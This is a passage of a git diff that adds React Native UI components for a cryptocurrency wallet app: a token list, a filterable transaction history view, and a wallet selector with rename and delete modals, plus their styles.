backgroundColor: 'white',
|
||||||
|
borderRadius: 20,
|
||||||
|
padding: 24,
|
||||||
|
width: '100%',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
modalHeader: {
|
||||||
|
fontSize: 20,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
marginBottom: 20,
|
||||||
|
},
|
||||||
|
subtitle: {
|
||||||
|
color: '#666',
|
||||||
|
fontSize: 12,
|
||||||
|
marginBottom: 16,
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
btnConfirm: {
|
||||||
|
flex: 1,
|
||||||
|
padding: 16,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: KurdistanColors.kesk,
|
||||||
|
alignItems: 'center',
|
||||||
|
width: '100%',
|
||||||
|
},
|
||||||
|
networkOption: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
width: '100%',
|
||||||
|
padding: 16,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: '#F5F5F5',
|
||||||
|
marginBottom: 8,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
networkOptionSelected: {
|
||||||
|
backgroundColor: 'rgba(0, 143, 67, 0.1)',
|
||||||
|
borderWidth: 2,
|
||||||
|
borderColor: KurdistanColors.kesk,
|
||||||
|
},
|
||||||
|
networkName: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#333',
|
||||||
|
},
|
||||||
|
networkType: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: '#666',
|
||||||
|
marginTop: 4,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default NetworkSelector;
|
||||||
@@ -0,0 +1,247 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Image,
|
||||||
|
ActivityIndicator,
|
||||||
|
} from 'react-native';
|
||||||
|
import { KurdistanColors } from '../../theme/colors';
|
||||||
|
import { TokenInfo } from '../../services/TokenService';
|
||||||
|
|
||||||
|
interface TokenListProps {
|
||||||
|
tokens: TokenInfo[];
|
||||||
|
hiddenTokens: string[];
|
||||||
|
isLoading: boolean;
|
||||||
|
onTokenPress: (token: TokenInfo) => void;
|
||||||
|
onToggleVisibility: (symbol: string) => void;
|
||||||
|
onSearchPress?: () => void;
|
||||||
|
onAddPress?: () => void;
|
||||||
|
onSettingsPress?: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const TokenList: React.FC<TokenListProps> = ({
|
||||||
|
tokens,
|
||||||
|
hiddenTokens,
|
||||||
|
isLoading,
|
||||||
|
onTokenPress,
|
||||||
|
onSearchPress,
|
||||||
|
onAddPress,
|
||||||
|
onSettingsPress,
|
||||||
|
}) => {
|
||||||
|
const visibleTokens = tokens.filter(t => !hiddenTokens.includes(t.symbol));
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.tokensSection}>
|
||||||
|
<View style={styles.tokensSectionHeader}>
|
||||||
|
<Text style={styles.tokensTitle}>Tokens</Text>
|
||||||
|
<View style={styles.tokenHeaderIcons}>
|
||||||
|
<TouchableOpacity style={styles.tokenHeaderIcon} onPress={onSearchPress}>
|
||||||
|
<Text>🔍</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity style={styles.tokenHeaderIcon} onPress={onAddPress}>
|
||||||
|
<Text>➕</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity style={styles.tokenHeaderIcon} onPress={onSettingsPress}>
|
||||||
|
<Text>⚙️</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Loading indicator */}
|
||||||
|
{isLoading && tokens.length === 0 && (
|
||||||
|
<View style={styles.loadingTokens}>
|
||||||
|
<ActivityIndicator size="small" color={KurdistanColors.kesk} />
|
||||||
|
<Text style={styles.loadingTokensText}>Loading tokens...</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Dynamic Token List */}
|
||||||
|
{visibleTokens.map((token) => {
|
||||||
|
const changeColor = token.change24h >= 0 ? '#22C55E' : '#EF4444';
|
||||||
|
const changePrefix = token.change24h >= 0 ? '+' : '';
|
||||||
|
|
||||||
|
return (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={token.assetId ?? token.symbol}
|
||||||
|
style={styles.tokenListItem}
|
||||||
|
onPress={() => onTokenPress(token)}
|
||||||
|
>
|
||||||
|
{/* Token Logo */}
|
||||||
|
{token.logo ? (
|
||||||
|
<Image source={token.logo} style={styles.tokenListLogo} resizeMode="contain" />
|
||||||
|
) : (
|
||||||
|
<View style={[styles.tokenListLogo, styles.tokenPlaceholderLogo]}>
|
||||||
|
<Text style={styles.tokenPlaceholderText}>{token.symbol.slice(0, 2)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Token Info */}
|
||||||
|
<View style={styles.tokenListInfo}>
|
||||||
|
<Text style={styles.tokenListSymbol}>{token.symbol}</Text>
|
||||||
|
<Text style={styles.tokenListNetwork}>{token.name}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Balance & Price */}
|
||||||
|
<View style={styles.tokenListBalance}>
|
||||||
|
<Text style={styles.tokenListAmount}>{token.balance}</Text>
|
||||||
|
<View style={styles.tokenPriceRow}>
|
||||||
|
<Text style={styles.tokenListUsdValue}>{token.usdValue}</Text>
|
||||||
|
{token.change24h !== 0 && (
|
||||||
|
<Text style={[styles.tokenChange, { color: changeColor }]}>
|
||||||
|
{changePrefix}{token.change24h.toFixed(1)}%
|
||||||
|
</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
|
||||||
|
{/* Empty State */}
|
||||||
|
{!isLoading && tokens.length === 0 && (
|
||||||
|
<View style={styles.emptyTokens}>
|
||||||
|
<Text style={styles.emptyTokensIcon}>🪙</Text>
|
||||||
|
<Text style={styles.emptyTokensText}>No additional tokens found</Text>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.addTokenButton}
|
||||||
|
onPress={onAddPress}
|
||||||
|
>
|
||||||
|
<Text style={styles.addTokenButtonText}>+ Add Token</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
tokensSection: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingTop: 20,
|
||||||
|
},
|
||||||
|
tokensSectionHeader: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 16,
|
||||||
|
paddingHorizontal: 4,
|
||||||
|
},
|
||||||
|
tokensTitle: {
|
||||||
|
fontSize: 20,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
color: '#333',
|
||||||
|
},
|
||||||
|
tokenHeaderIcons: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
gap: 12,
|
||||||
|
},
|
||||||
|
tokenHeaderIcon: {
|
||||||
|
width: 36,
|
||||||
|
height: 36,
|
||||||
|
borderRadius: 18,
|
||||||
|
backgroundColor: '#F5F5F5',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
tokenListItem: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 16,
|
||||||
|
padding: 16,
|
||||||
|
marginBottom: 12,
|
||||||
|
boxShadow: '0px 1px 4px rgba(0, 0, 0, 0.05)',
|
||||||
|
elevation: 2,
|
||||||
|
},
|
||||||
|
tokenListLogo: {
|
||||||
|
width: 44,
|
||||||
|
height: 44,
|
||||||
|
marginRight: 12,
|
||||||
|
},
|
||||||
|
tokenListInfo: {
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
tokenListSymbol: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
color: '#333',
|
||||||
|
marginBottom: 2,
|
||||||
|
},
|
||||||
|
tokenListNetwork: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: '#888',
|
||||||
|
},
|
||||||
|
tokenListBalance: {
|
||||||
|
alignItems: 'flex-end',
|
||||||
|
},
|
||||||
|
tokenListAmount: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
color: '#333',
|
||||||
|
marginBottom: 2,
|
||||||
|
},
|
||||||
|
tokenListUsdValue: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: '#888',
|
||||||
|
},
|
||||||
|
tokenPriceRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 6,
|
||||||
|
},
|
||||||
|
tokenChange: {
|
||||||
|
fontSize: 11,
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
tokenPlaceholderLogo: {
|
||||||
|
backgroundColor: '#E5E7EB',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
borderRadius: 22,
|
||||||
|
},
|
||||||
|
tokenPlaceholderText: {
|
||||||
|
fontSize: 14,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
color: '#6B7280',
|
||||||
|
},
|
||||||
|
loadingTokens: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
padding: 20,
|
||||||
|
gap: 10,
|
||||||
|
},
|
||||||
|
loadingTokensText: {
|
||||||
|
fontSize: 14,
|
||||||
|
color: '#666',
|
||||||
|
},
|
||||||
|
emptyTokens: {
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
padding: 32,
|
||||||
|
},
|
||||||
|
emptyTokensIcon: {
|
||||||
|
fontSize: 48,
|
||||||
|
marginBottom: 12,
|
||||||
|
},
|
||||||
|
emptyTokensText: {
|
||||||
|
fontSize: 14,
|
||||||
|
color: '#999',
|
||||||
|
marginBottom: 16,
|
||||||
|
},
|
||||||
|
addTokenButton: {
|
||||||
|
backgroundColor: KurdistanColors.kesk,
|
||||||
|
paddingHorizontal: 20,
|
||||||
|
paddingVertical: 10,
|
||||||
|
borderRadius: 20,
|
||||||
|
},
|
||||||
|
addTokenButtonText: {
|
||||||
|
color: '#FFFFFF',
|
||||||
|
fontSize: 14,
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default TokenList;
|
||||||
@@ -0,0 +1,241 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ActivityIndicator,
|
||||||
|
} from 'react-native';
|
||||||
|
import { KurdistanColors } from '../../theme/colors';
|
||||||
|
import {
|
||||||
|
TransactionRecord,
|
||||||
|
HistoryFilter,
|
||||||
|
filterTransactions,
|
||||||
|
groupByDate,
|
||||||
|
abbreviateAddress,
|
||||||
|
} from '../../services/TransactionHistoryService';
|
||||||
|
|
||||||
|
interface TransactionHistorySectionProps {
|
||||||
|
transactions: TransactionRecord[];
|
||||||
|
isLoading: boolean;
|
||||||
|
filter: HistoryFilter;
|
||||||
|
onFilterChange: (filter: HistoryFilter) => void;
|
||||||
|
scanProgress: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const TransactionHistorySection: React.FC<TransactionHistorySectionProps> = ({
|
||||||
|
transactions,
|
||||||
|
isLoading,
|
||||||
|
filter,
|
||||||
|
onFilterChange,
|
||||||
|
scanProgress,
|
||||||
|
}) => {
|
||||||
|
const filtered = filterTransactions(transactions, filter);
|
||||||
|
const grouped = groupByDate(filtered);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.activitySection}>
|
||||||
|
<View style={styles.activityHeader}>
|
||||||
|
<Text style={styles.activityTitle}>Activity</Text>
|
||||||
|
{isLoading && (
|
||||||
|
<View style={styles.activityLoading}>
|
||||||
|
<ActivityIndicator size="small" color={KurdistanColors.kesk} />
|
||||||
|
<Text style={styles.activityLoadingText}>{scanProgress || 'Loading...'}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Filter Tabs */}
|
||||||
|
<View style={styles.historyFilters}>
|
||||||
|
{(['all', 'transfers', 'staking', 'swaps'] as HistoryFilter[]).map((f) => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={f}
|
||||||
|
style={[styles.filterTab, filter === f && styles.filterTabActive]}
|
||||||
|
onPress={() => onFilterChange(f)}
|
||||||
|
>
|
||||||
|
<Text style={[styles.filterTabText, filter === f && styles.filterTabTextActive]}>
|
||||||
|
{f === 'all' ? 'All' : f === 'transfers' ? 'Transfers' : f === 'staking' ? 'Staking' : 'Swaps'}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Transaction List */}
|
||||||
|
{filtered.length === 0 && !isLoading ? (
|
||||||
|
<View style={styles.emptyHistory}>
|
||||||
|
<Text style={styles.emptyHistoryIcon}>
|
||||||
|
{filter === 'all' ? '📋' : filter === 'transfers' ? '↔️' : filter === 'staking' ? '🔐' : '💱'}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.emptyHistoryText}>
|
||||||
|
{filter === 'all' ? 'No transactions yet' : `No ${filter} found`}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
) : (
|
||||||
|
grouped.map((group) => (
|
||||||
|
<View key={group.date}>
|
||||||
|
<Text style={styles.historyDateLabel}>{group.dateLabel}</Text>
|
||||||
|
{group.transactions.map((tx) => {
|
||||||
|
const isIncoming = tx.type === 'transfer_in';
|
||||||
|
const isStaking = tx.type === 'staking';
|
||||||
|
const isSwap = tx.type === 'swap';
|
||||||
|
const icon = isIncoming ? '↓' : isStaking ? '🔐' : isSwap ? '💱' : '↑';
|
||||||
|
const iconBg = isIncoming ? '#DCFCE7' : isStaking ? '#FEF3C7' : isSwap ? '#E0E7FF' : '#FEE2E2';
|
||||||
|
const iconColor = isIncoming ? '#16A34A' : isStaking ? '#D97706' : isSwap ? '#4F46E5' : '#DC2626';
|
||||||
|
const amountPrefix = isIncoming ? '+' : isStaking && tx.method === 'Rewarded' ? '+' : '-';
|
||||||
|
const amountColor = amountPrefix === '+' ? '#16A34A' : '#DC2626';
|
||||||
|
const label = isStaking
|
||||||
|
? tx.method === 'Rewarded' ? 'Staking Reward' : tx.method === 'Bonded' ? 'Staked' : 'Unstaked'
|
||||||
|
: isSwap
|
||||||
|
? 'Swap'
|
||||||
|
: isIncoming
|
||||||
|
? `From ${abbreviateAddress(tx.from)}`
|
||||||
|
: `To ${abbreviateAddress(tx.to)}`;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View key={tx.id} style={styles.txItem}>
|
||||||
|
<View style={[styles.txIcon, { backgroundColor: iconBg }]}>
|
||||||
|
<Text style={[styles.txIconText, { color: iconColor }]}>{icon}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.txInfo}>
|
||||||
|
<Text style={styles.txMethod}>
|
||||||
|
{isIncoming ? 'Received' : isStaking ? tx.method : isSwap ? 'Swap' : 'Sent'}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.txAddress} numberOfLines={1}>{label}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.txAmount}>
|
||||||
|
<Text style={[styles.txAmountText, { color: amountColor }]}>
|
||||||
|
{amountPrefix}{tx.amount} {tx.token}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.txTime}>
|
||||||
|
{new Date(tx.timestamp).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</View>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
activitySection: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingTop: 24,
|
||||||
|
},
|
||||||
|
activityHeader: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 12,
|
||||||
|
paddingHorizontal: 4,
|
||||||
|
},
|
||||||
|
activityTitle: {
|
||||||
|
fontSize: 20,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
color: '#333',
|
||||||
|
},
|
||||||
|
activityLoading: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 6,
|
||||||
|
},
|
||||||
|
activityLoadingText: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: '#888',
|
||||||
|
},
|
||||||
|
historyFilters: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
marginBottom: 16,
|
||||||
|
gap: 8,
|
||||||
|
},
|
||||||
|
filterTab: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingVertical: 8,
|
||||||
|
borderRadius: 20,
|
||||||
|
backgroundColor: '#F5F5F5',
|
||||||
|
},
|
||||||
|
filterTabActive: {
|
||||||
|
backgroundColor: KurdistanColors.kesk,
|
||||||
|
},
|
||||||
|
filterTabText: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#666',
|
||||||
|
},
|
||||||
|
filterTabTextActive: {
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
emptyHistory: {
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
paddingVertical: 40,
|
||||||
|
},
|
||||||
|
emptyHistoryIcon: {
|
||||||
|
fontSize: 40,
|
||||||
|
marginBottom: 8,
|
||||||
|
},
|
||||||
|
emptyHistoryText: {
|
||||||
|
fontSize: 14,
|
||||||
|
color: '#999',
|
||||||
|
},
|
||||||
|
historyDateLabel: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#888',
|
||||||
|
marginBottom: 8,
|
||||||
|
marginTop: 4,
|
||||||
|
paddingHorizontal: 4,
|
||||||
|
},
|
||||||
|
txItem: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 14,
|
||||||
|
padding: 14,
|
||||||
|
marginBottom: 8,
|
||||||
|
boxShadow: '0px 1px 3px rgba(0, 0, 0, 0.05)',
|
||||||
|
elevation: 1,
|
||||||
|
},
|
||||||
|
txIcon: {
|
||||||
|
width: 40,
|
||||||
|
height: 40,
|
||||||
|
borderRadius: 20,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginRight: 12,
|
||||||
|
},
|
||||||
|
txIconText: {
|
||||||
|
fontSize: 18,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
},
|
||||||
|
txInfo: {
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
txMethod: {
|
||||||
|
fontSize: 15,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#333',
|
||||||
|
marginBottom: 2,
|
||||||
|
},
|
||||||
|
txAddress: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: '#999',
|
||||||
|
},
|
||||||
|
txAmount: {
|
||||||
|
alignItems: 'flex-end',
|
||||||
|
},
|
||||||
|
txAmountText: {
|
||||||
|
fontSize: 15,
|
||||||
|
fontWeight: '600',
|
||||||
|
marginBottom: 2,
|
||||||
|
},
|
||||||
|
txTime: {
|
||||||
|
fontSize: 11,
|
||||||
|
color: '#BBB',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default TransactionHistorySection;
|
||||||
@@ -0,0 +1,330 @@
|
|||||||
|
import React, { useState } from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Modal,
|
||||||
|
TextInput,
|
||||||
|
Alert,
|
||||||
|
Platform,
|
||||||
|
} from 'react-native';
|
||||||
|
import { KurdistanColors } from '../../theme/colors';
|
||||||
|
|
||||||
|
interface Account {
|
||||||
|
address: string;
|
||||||
|
name: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface WalletSelectorProps {
|
||||||
|
visible: boolean;
|
||||||
|
onClose: () => void;
|
||||||
|
accounts: Account[];
|
||||||
|
selectedAccount: Account | null;
|
||||||
|
onSelect: (account: Account) => void;
|
||||||
|
onRename: (address: string, newName: string) => Promise<void>;
|
||||||
|
onDelete: (address: string) => Promise<void>;
|
||||||
|
onAddNew: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const WalletSelector: React.FC<WalletSelectorProps> = ({
|
||||||
|
visible,
|
||||||
|
onClose,
|
||||||
|
accounts,
|
||||||
|
selectedAccount,
|
||||||
|
onSelect,
|
||||||
|
onRename,
|
||||||
|
onDelete,
|
||||||
|
onAddNew,
|
||||||
|
}) => {
|
||||||
|
const [renameModalVisible, setRenameModalVisible] = useState(false);
|
||||||
|
const [renameAddress, setRenameAddress] = useState('');
|
||||||
|
const [renameName, setRenameName] = useState('');
|
||||||
|
|
||||||
|
const handleDelete = async (account: Account) => {
|
||||||
|
const confirmDelete = Platform.OS === 'web'
|
||||||
|
? window.confirm(`Delete "${account.name}"?\n\nThis action cannot be undone. Make sure you have backed up your recovery phrase.`)
|
||||||
|
: await new Promise<boolean>((resolve) => {
|
||||||
|
Alert.alert(
|
||||||
|
'Delete Wallet',
|
||||||
|
`Are you sure you want to delete "${account.name}"?\n\nThis action cannot be undone. Make sure you have backed up your recovery phrase.`,
|
||||||
|
[
|
||||||
|
{ text: 'Cancel', style: 'cancel', onPress: () => resolve(false) },
|
||||||
|
{ text: 'Delete', style: 'destructive', onPress: () => resolve(true) }
|
||||||
|
]
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
if (confirmDelete) {
|
||||||
|
try {
|
||||||
|
await onDelete(account.address);
|
||||||
|
if (accounts.length <= 1) {
|
||||||
|
onClose();
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
if (Platform.OS === 'web') {
|
||||||
|
window.alert('Failed to delete wallet');
|
||||||
|
} else {
|
||||||
|
Alert.alert('Error', 'Failed to delete wallet');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
<Modal visible={visible} transparent animationType="slide" onRequestClose={onClose}>
|
||||||
|
<View style={styles.modalOverlay}>
|
||||||
|
<View style={styles.modalCard}>
|
||||||
|
<Text style={styles.modalHeader}>My Wallets</Text>
|
||||||
|
<Text style={styles.subtitle}>
|
||||||
|
Select a wallet or create a new one
|
||||||
|
</Text>
|
||||||
|
|
||||||
|
{/* Wallet List */}
|
||||||
|
{accounts.map((account) => {
|
||||||
|
const isSelected = account.address === selectedAccount?.address;
|
||||||
|
return (
|
||||||
|
<View key={account.address} style={styles.walletOptionRow}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[
|
||||||
|
styles.walletOption,
|
||||||
|
isSelected && styles.walletOptionSelected,
|
||||||
|
{flex: 1, marginBottom: 0}
|
||||||
|
]}
|
||||||
|
onPress={() => {
|
||||||
|
onSelect(account);
|
||||||
|
onClose();
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<View style={styles.walletOptionIcon}>
|
||||||
|
<Text style={{fontSize: 24}}>👛</Text>
|
||||||
|
</View>
|
||||||
|
<View style={{flex: 1}}>
|
||||||
|
<Text style={[styles.walletOptionName, isSelected && {color: KurdistanColors.kesk}]}>
|
||||||
|
{account.name}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.walletOptionAddress} numberOfLines={1}>
|
||||||
|
{account.address.slice(0, 12)}...{account.address.slice(-8)}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
{isSelected && <Text style={{fontSize: 20, color: KurdistanColors.kesk}}>✓</Text>}
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.renameWalletButton}
|
||||||
|
onPress={() => {
|
||||||
|
setRenameAddress(account.address);
|
||||||
|
setRenameName(account.name);
|
||||||
|
setRenameModalVisible(true);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Text style={styles.renameWalletIcon}>✏️</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.deleteWalletButton}
|
||||||
|
onPress={() => handleDelete(account)}
|
||||||
|
>
|
||||||
|
<Text style={styles.deleteWalletIcon}>🗑️</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
|
||||||
|
{/* Add New Wallet Button */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.addNewWalletOption}
|
||||||
|
onPress={() => {
|
||||||
|
onClose();
|
||||||
|
onAddNew();
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<View style={styles.addNewWalletIcon}>
|
||||||
|
<Text style={{fontSize: 24, color: KurdistanColors.kesk}}>+</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.addNewWalletText}>Add New Wallet</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
<TouchableOpacity style={styles.btnConfirm} onPress={onClose}>
|
||||||
|
<Text style={{color:'white'}}>Close</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Modal>
|
||||||
|
|
||||||
|
{/* Rename Wallet Modal */}
|
||||||
|
<Modal visible={renameModalVisible} transparent animationType="slide" onRequestClose={() => setRenameModalVisible(false)}>
|
||||||
|
<View style={styles.modalOverlay}>
|
||||||
|
<View style={styles.modalCard}>
|
||||||
|
<Text style={styles.modalHeader}>Rename Wallet</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.inputField}
|
||||||
|
placeholder="New wallet name"
|
||||||
|
value={renameName}
|
||||||
|
onChangeText={setRenameName}
|
||||||
|
autoFocus
|
||||||
|
/>
|
||||||
|
<View style={styles.modalActions}>
|
||||||
|
<TouchableOpacity style={styles.btnCancel} onPress={() => setRenameModalVisible(false)}>
|
||||||
|
<Text>Cancel</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.btnConfirm}
|
||||||
|
onPress={async () => {
|
||||||
|
if (renameName.trim()) {
|
||||||
|
await onRename(renameAddress, renameName.trim());
|
||||||
|
setRenameModalVisible(false);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Text style={{color:'white'}}>Save</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Modal>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
modalOverlay: {
|
||||||
|
flex: 1,
|
||||||
|
backgroundColor: 'rgba(0,0,0,0.5)',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
padding: 20,
|
||||||
|
},
|
||||||
|
modalCard: {
|
||||||
|
backgroundColor: 'white',
|
||||||
|
borderRadius: 20,
|
||||||
|
padding: 24,
|
||||||
|
width: '100%',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
modalHeader: {
|
||||||
|
fontSize: 20,
|
||||||
|
fontWeight: 'bold',
|
||||||
|
marginBottom: 20,
|
||||||
|
},
|
||||||
|
subtitle: {
|
||||||
|
color: '#666',
|
||||||
|
fontSize: 12,
|
||||||
|
marginBottom: 16,
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
inputField: {
|
||||||
|
width: '100%',
|
||||||
|
backgroundColor: '#F5F5F5',
|
||||||
|
padding: 16,
|
||||||
|
borderRadius: 12,
|
||||||
|
marginBottom: 12,
|
||||||
|
},
|
||||||
|
modalActions: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
width: '100%',
|
||||||
|
gap: 12,
|
||||||
|
marginTop: 10,
|
||||||
|
},
|
||||||
|
btnCancel: {
|
||||||
|
flex: 1,
|
||||||
|
padding: 16,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: '#EEE',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
btnConfirm: {
|
||||||
|
flex: 1,
|
||||||
|
padding: 16,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: KurdistanColors.kesk,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
walletOptionRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 8,
|
||||||
|
gap: 8,
|
||||||
|
},
|
||||||
|
walletOption: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
padding: 16,
|
||||||
|
backgroundColor: '#F8F9FA',
|
||||||
|
borderRadius: 12,
|
||||||
|
marginBottom: 8,
|
||||||
|
borderWidth: 2,
|
||||||
|
borderColor: 'transparent',
|
||||||
|
},
|
||||||
|
walletOptionSelected: {
|
||||||
|
